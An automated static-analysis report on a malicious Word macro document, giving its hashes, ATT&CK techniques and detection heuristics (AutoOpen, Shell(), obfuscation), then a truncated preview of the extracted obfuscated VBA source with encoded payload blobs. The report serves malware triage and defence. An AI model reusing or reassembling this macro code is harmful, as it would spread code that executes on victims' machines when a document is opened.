Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 c02437af0261a02b…

MALICIOUS

Office (OLE)

128.0 KB Created: 2017-10-27 15:28:00 Authoring application: Microsoft Office Word First seen: 2017-10-28
MD5: 7342f7815a71e15be92227c1beda4dde SHA-1: 916f1ebdaf43b7ee32d7c5be9c73323e7cb2cb76 SHA-256: c02437af0261a02b8cd07a8ba8418a1cd92a1ec299602cf9dad9e5f6b0e4cf38
244 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic T1059 Command and Scripting Interpreter T1204.002 Malicious File

The sample is a malicious Office document containing a VBA macro. The macro uses the AutoOpen function and a Shell() call, indicating an attempt to execute arbitrary code upon opening. Heuristics and ClamAV detection confirm the presence of obfuscated VBA macros designed for execution. The primary IOC is the extracted macro file itself, which contains the malicious logic.

Heuristics 8

  • ClamAV: Doc.Macro.Obfuscation-6355576-0 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Doc.Macro.Obfuscation-6355576-0
  • VBA macros detected medium 3 related findings OLE_VBA_MACROS
    Document contains VBA macro code
  • Shell() call in VBA critical OLE_VBA_SHELL
    Shell() call in VBA
  • AutoOpen macro high OLE_VBA_AUTOOPEN
    AutoOpen macro
  • VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXEC
    Compiled VBA/cache stream contains an auto-execution token together with shell/download/object-execution tokens. This catches p-code-only or source-extraction-failure macro documents where visible source is unavailable.
  • Legacy WordBasic auto-exec macro marker medium OLE_LEGACY_WORDBASIC_AUTOEXEC
    OLE Word document contains a legacy WordBasic auto-execution marker such as AutoOpen, but no modern VBA project was recovered and no stronger macro-virus family marker was present. This is analyst-facing evidence for old Word macro execution surface, not a downloader or parser-CVE attribution by itself.
  • Suspicious extracted artifact info EXTRACTED_FILE_STATIC_TRIAGE
    One or more files extracted from inside this sample matched static suspicious-content checks such as script obfuscation, encoded payload blobs, packed data, or execution/download terms.
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://schemas.openxmlformats.org/drawingml/2006/main In document text (OLE body)

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 63523 bytes
SHA-256: fe7d9807ae23b456ca217981f489fa25e0c3152b12b8a9485132716c188bd2c5
Detection
ClamAV: No threats found
Obfuscation or payload: likely
Carved artifact contains 100 long base64-like blob(s).
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True

Attribute VB_Name = "Module1"

Function hzUwMGwmZ()
sJwDCZZj = "VDMW70TUZDtYsdjnDriAwcRZqHGSZESQqmcXzEVVrfATHhCBFCOmTpbZaAIoVBuUkdhFALpzWMJTcwSIFEMXqLVQBJNCY"
bQwWzbbHUR = Mid(sJwDCZZj, 7, 79)
ESwwtQiwZO = bQwWzbbHUR
GsMfPobRXCn = "Q97IZBsZwwcKDVPOT"
ZNzJmqcG = Mid(GsMfPobRXCn, 5, 7)
avrRruPH = ZNzJmqcG
THNOVfzUNX = "LKZZG78mqOpwFcGIWGWVhBzsFFIOnrGkPwFFdBwTNiUnwuGPjkGzUIiSvrmlwlzzIFhHXAiUHCIwhLtKwtiDlHPGPmKmONVciVftNzsjFmrRAkljzcmEHwOBpaslqsFuhfPLjAzzBuzwPwGiARRU69FQE7S5"
LKIilnFXscB = Mid(THNOVfzUNX, 8, 138)
UIjzcYkK = LKIilnFXscB
ohUvc = "A7zItcfPMSWcwsEqbzhcCcuvMamFUCfOLjQmEwsjzrUYPjJhppfQzzHSaDwSqauJnIRNbSmiGBfKIWjfQEPiWK2ZII91CDAB4D0QBSBISGXU"
TJuNWw = Mid(ohUvc, 3, 83)
GMkPibG = TJuNWw
kbVkjw = "DD2TXNOXF67YN3RMNWaomaRUmHiDmHGsNjwkUUZDzfnDMzPlrUNlQDSUPKdECwKsuCjSTNlJaWrHmNInrsMRtVcKOcUJrVBBUvJKPzSdjDKtMKhCCpMJjswZaZDqtbRFVqnrEwXuajiqKizDuRHCIrRbzjkptbkHlFYWXqwESSjAJHPrbAwbUPwdYLtUNiBwzbEEJbfDTCkqHRSpUsNsfInVJvzMwiqkQlBiDKhAVsIRfGVHtEzVUITqnivOdSHpMAZWQ88XB"
ImkuEbEkdp = Mid(kbVkjw, 19, 243)
sltACwkz = ImkuEbEkdp
zTQwdozYqWj = "OY2RMAN5XGZFDX6XI49SF86CCEHKqbkcGhwspJuccQWVRDUwMutjYJSCtcIcDalniAtiNKbRCZBGP1TJQDWGYV"
lmYmGo = Mid(zTQwdozYqWj, 27, 47)
BKVro = lmYmGo
UGjIWV = "RH5PR6NDYniCXDjAuwNakvALGDIwKGJjMwBobwClHPWzRhLiPXDRzLzZWBGuiopRiBqH1R08YYJXADP824GY32V5VV7M8U"
iwwPsdOb = Mid(UGjIWV, 9, 59)
wEJpCaPijJ = iwwPsdOb
tqBZNs = "4D5FRXLA7UVMQ5ADRDzZpXwKkGOvGXDAJwUzKEXQClKQmZuGmcGlijLIOwlZRUwrbVEQrioGcjXDMjXLMIJiQRWdmLiLTzzhnToRUdOInAIvJHviaZNJLTaJzbdfvcmfjpQtrGqitAqQJaTfPAlukpWTsfRtziNLOdLTrCqUiiQKdKAZHwPvrruuTwBMozjKnfBfOAnNJQMGZMqhislASRTWjRzuBijkvFWwJUKHKClafoVHGThwGVDHI54S"
UiqITVmoWM = Mid(tqBZNs, 19, 226)
dzEtsumGEm = UiqITVmoWM
wGnGowuAjKq = "R79UXSZ4WQC8YPEGjmKKNXmAWqDZqTsiUPISKvUPTWClSEfjwrJRpLGljqRsronzOKrkQEFoSurqVBhRKWazJapJIXlVKZZGF8KL"
EsECiquc = Mid(wGnGowuAjKq, 17, 75)
MOJYTbJPvTf = EsECiquc
utjkrot = "K6C061CHJPNJEWG61UOYVspDzlVzrlLqnqviEZrwiXLoIAXuPvkzkjiwXwQLmjVXNMwmnA62O8J0GTJ5A3"
PtWQmIwwSfc = Mid(utjkrot, 22, 49)
iLTtPi = PtWQmIwwSfc
UNFwlFPvrb = "LXSW95TCJGO8CI3XJQ9HQWLZ09MirVLiwzAtLfkbKTprYJhdqQjtqvwsohwkYMOAniYNHRqGpEdBROvYOisbpSnBAIEiiADwFpEtlUWYZaDmRuaalYVpUmKUqXMzNMXpAfwcJBntMUCPOBjGhdsKiOdSijDNHXKMCNlmwzRklccAkvGpoGRjUNKmBdwZwZlpJpNBPwHjMIZCldiidNZBFaQFA"
dOZiNYYoU = Mid(UNFwlFPvrb, 27, 188)
zwTJZoStwT = dOZiNYYoU
AzFjDXm = "24QZRDCHEOPWFKCD73AD0Z1GM21PIMdqNSPqJwwiDDzOtwNASYBijqRKmkBScdQwpMfJslucpEawwTUMOQjjLwHWBFEZwdFanBYhSDIjiZpiQVNSPpDLtjlrFIImhVjMzAJvvntLHDFlJcGjrmJGZtjGPhcKuVPDBEW3"
WpmwCroY = Mid(AzFjDXm, 29, 130)
AzowBRVBJzl = WpmwCroY
JZIdvHuvVz = "PR7XMV3N5OOLbwLAVH9JLG"
jhuXARorw = Mid(JZIdvHuvVz, 10, 7)
wvLJflcV = jhuXARorw
QMdwU = "6MsqscGriQUujrrGzC3SUQDGC0XLU8R56ZTRUK"
WSazwsN = Mid(QMdwU, 2, 16)
uzXmBBE = WSazwsN
rUFoXkInt = "QT2NW57NjwAKDzzwhzqkfjdzwBuMPQGjIwbhzjQoWdDhjvwOsCoNSiwOoJIDSLbQqUCGVPwziCNBfwSBEfUMbtOZANtpaNVLCnrJJNTD64ZS7WBQOH6FQM6CBG8XSY"
GBrbdjdn = Mid(rUFoXkInt, 9, 91)
BPKfpiIs = GBrbdjdn
End Function
Function TdbXijCWI()
aKosbW = "D18MAA5AGEANAA0AEAAMwAyAGYANQA0AEAANQAzAHcANQAzAEAANQAxAEAANQA0AGEANAAxAEcANQA5AGEAMwA2AEAAMQAxADIAdwA5ADcAewAxADEANgBoADEAMAA0AFAAMwAyAFUANgAxAHsAMwAyAGYAMwA2AGgAMQAwADEAYQAxADEAMABhADEAMQA4AHcANQA4AEcAMQAxADYAYQAxADAAMQA+ADEAMAA5AEcAMQAxADIAaAAzADIAUAA0ADMAdwAz81RHX1"
GjiSps = Mid(aKosbW, 5, 259)
cpmCZHz = GjiSps
poQcPdRrzL = "17AxADIAMABoADcAMwBQADgAMAB7ADQANwBhADMAOQB3ADQANgB3ADgAMwBoADEAMQAyAHsAMQAwADgAQAAxADAANQA+ADEAMQA2AEcANAAwAEAAF2SG3JYVLUJNQRKY9B90N9F2J41JTGF1R5"
dDNwRYK = Mid(poQcPdRrzL, 3, 110)
DqmLr = dDNwRYK
BDcYw = "LOMCTAGVKQTOUAMHPR8W12RKLAA3AEAAMQAwADcAUAAxADAANQBHADEAMQAwAEAAMQAwADMAUAA5ADcAUAAxADAAOABmADkANwBQADEAMQA1AGYAMQAwADcAewA5ADcAYQA0ADYAQAA5ADkAPgAxADEAMQBHADEAMAA5AHsANAA3AGEAMQAwADMAYQAxADEAMQBmADEAMAAzAFUAMQAwADIAaAA3ADgAewA5ADkAZgA4ADcAQAA0ADcAQAA0ADQAUAAxADAANABQAD
... (truncated)

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